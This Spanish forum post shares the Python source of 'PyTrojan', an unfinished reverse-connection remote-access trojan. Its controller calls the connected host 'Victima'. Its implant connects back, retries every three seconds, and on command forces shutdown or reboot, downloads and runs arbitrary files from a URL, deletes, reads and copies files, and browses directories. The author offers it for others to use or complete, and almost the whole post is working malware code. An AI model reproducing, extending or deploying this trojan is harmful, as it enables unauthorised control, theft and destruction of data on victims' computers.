Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.
Cliente:
Servidor:
Cliente:
Código (python) [Seleccionar]
# -*- coding: utf-8 -*-
##########################################
## ##
## PyTrojan ##
## By Proxy ##
## Fecha Inicio: 28/04/13 ##
## Fecha Fin: ../../.. ##
## Client ##
## ##
##########################################
import socket
import os
import time
#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])
#Imprimimos Cabecera
def Cabecera():
print ' ****************************************************'
print ' **** ****'
print ' **** PyTrojan v1.0 Beta ****'
print ' **** ****'
print ' ****************************************************'
#Imprimimos Opciones
def Opcionestop():
print ' ****************************************************'
print ' **** Opciones ****'
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Apagar Equipo ****'
print ' **** ________________________ ****'
print ' **** 2) Reiniciar Equipo ****'
print ' **** ________________________ ****'
print ' **** 3) Downloader ****'
print ' **** ________________________ ****'
print ' **** 4) Localizador IP ****'
print ' **** ________________________ ****'
print ' **** 5) Limpiar Pantalla ****'
print ' **** ________________________ ****'
print ' **** 6) Consola ****'
print ' **** ________________________ ****'
print ' **** 7) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 8) Desconectar ****'
print ' **** ________________________ ****'
print ' **** 9) Apagar Servidor ****'
print ' **** ________________________ ****'
print ' **** 10) Salir ****'
print ' **** ________________________ ****'
print ' **** ****'
print ' ****************************************************'
#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP: Muestra la lista de comandos de la consola'
print 'DEL: Elimina el archivo marcado'
print 'XDEL: Elimina la carpeta marcada'
print 'COPY: Copia un archivo a otra directorio'
print 'READ: Abre el archivo en la consola'
print 'OPEN: Ejecuta un archivo'
print 'WANT: Busca en todos los archivo con extension a elegir'
print 'DIR: Muestra el directorio actual'
print 'CD: Cambia de directorio al directorio seleccionado'
print 'EXIT: Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break
#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden
#Menu
def Menu():
opcion = ''
while opcion != '1' and opcion != '2':
cls()
Cabecera()
print ' ****************************************************'
print ' **** ****'
print ' **** 1) Esperar Conexiones ****'
print ' **** 2) Salir ****'
print ' **** ****'
print ' ****************************************************\n'
opcion = raw_input('>>> ')
if opcion == '1':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Esperando Conexiones... ****'
print ' **** ****'
print ' ****************************************************'
host = ''
port = 9999
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
s.listen(3)
sc, addr = s.accept()
except:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Ocurrio un problema... ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
else:
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Victima ****'
print ' **** ****'
print ' ****************************************************\n'
print 'Se ha establecido la conexion con...', addr[0]
raw_input()
Opciones(s, sc, addr)
elif opcion == '2':
cls()
print ' ****************************************************'
print ' **** ****'
print ' **** Gracias por usar PyTrojan ****'
print ' **** ****'
print ' ****************************************************'
raw_input()
cls()
Menu()
Servidor:
Código (python) [Seleccionar]
##########################################
## ##
## PyTrojan ##
## By Proxy ##
## Fecha Inicio: 28/04/13 ##
## Fecha Fin: ../../.. ##
## Server ##
## ##
##########################################
import socket
import time
import os
import urllib
import shutil
import glob
#Consola de Comandos
def Consola(s):
while True:
opconsola = s.recv(1024)
if opconsola == 'del':
ruta = s.recv(1024)
try:
os.remove(ruta)
s.send('El archivo ha sido eliminado con exito...')
except:
s.send('El archivo no ha podido ser eliminado...')
elif opconsola == 'xdel':
ruta = s.recv(1024)
try:
shutil.rmtree(ruta)
s.send('La carpeta ha sido eliminada...')
except:
s.send('La carpeta no ha podido ser eliminada...')
elif opconsola == 'copy':
ruta1 = s.recv(1024)
ruta2 = s.recv(1024)
try:
shutil.copy(ruta1, ruta2)
s.send('El archivo ha sido copiado...')
except:
s.send('El archivo no ha sido copiado...')
elif opconsola == 'read':
ruta = s.recv(1024)
try:
arch = open(ruta, 'r')
line = arch.readline()
while line != '':
s.send(line)
line = arch.readline()
except:
s.send('El archivo no ha podido ser abierto...')
elif opconsola == 'open':
ruta = s.recv(1024)
try:
os.startfile(ruta)
s.send('Archivo ejecutado con exito...')
except:
s.send('El archivo no ha podido ser ejecutado...')
elif opconsola == 'want':
ruta = s.recv(1024)
try:
lista = glob.glob('*' + ruta)
joinlistar = '\n'.join(lista)
s.send(joinlistar)
except:
s.send('Ha ocurrido un error...')
else:
s.send('\n.')
elif opconsola == 'dir':
try:
listardirectorio = os.listdir('.')
joinlistardire = '\n'.join(listardirectorio)
s.send(joinlistardire)
except:
s.send('Ha ocurrido un error...')
elif opconsola == 'cd':
ruta = s.recv(1024)
try:
os.chdir(ruta)
s.send(os.getcwd())
except:
s.send('No se puede encontrar la ruta especificada...')
elif opconsola == 'exit':
break
#Conexion con el cliente
def conexion():
host = 'localhost'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
recibido = s.recv(1024)
if recibido == 'apagar': #Apaga Equipo
time.sleep(1)
s.send('El equipo se esta apagando...')
os.system('shutdown -s -f -t 0')
elif recibido == 'reiniciar': #Reinicia Equipo
time.sleep(1)
s.send('El equipo se esta reiniciando...')
os.system('shutdown -r -f -t 0')
elif recibido == 'downloader': #Downloader
time.sleep(1)
try:
direccion = s.recv(1024)
nomarch = s.recv(1024)
urllib.urlretrieve(direccion, nomarch, reporthook=None)
except:
s.send('Ha ocurrido un error...')
else:
s.send('Archivo descargado con exito...')
try:
ejecutar = s.recv(1024)
if ejecutar == 'si':
os.startfile(nomarch)
elif ejecutar == 'no':
continue
except:
s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
else:
s.send('Archivo ejecutado con exito...')
elif recibido == 'localizadorip': #Localiza IP
try:
time.sleep(1)
iploc = s.recv(1024)
ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
response = urllib.urlopen(ipaddr).read()
except:
s.send('Ha ocurrido un error...')
else:
s.send(response)
elif recibido == 'consola': #Consola de Comandos
time.sleep(1)
Consola(s)
elif recibido == 'desconectar': #Apaga Servidor
time.sleep(1)
s.send('Servidor apagado correctamente...')
s.close()
break
else:
conexion()
#Reintentamos conexion si el cliente se ha desconectado
while True:
time.sleep(3)
try:
conexion()
except:
pass
else:
break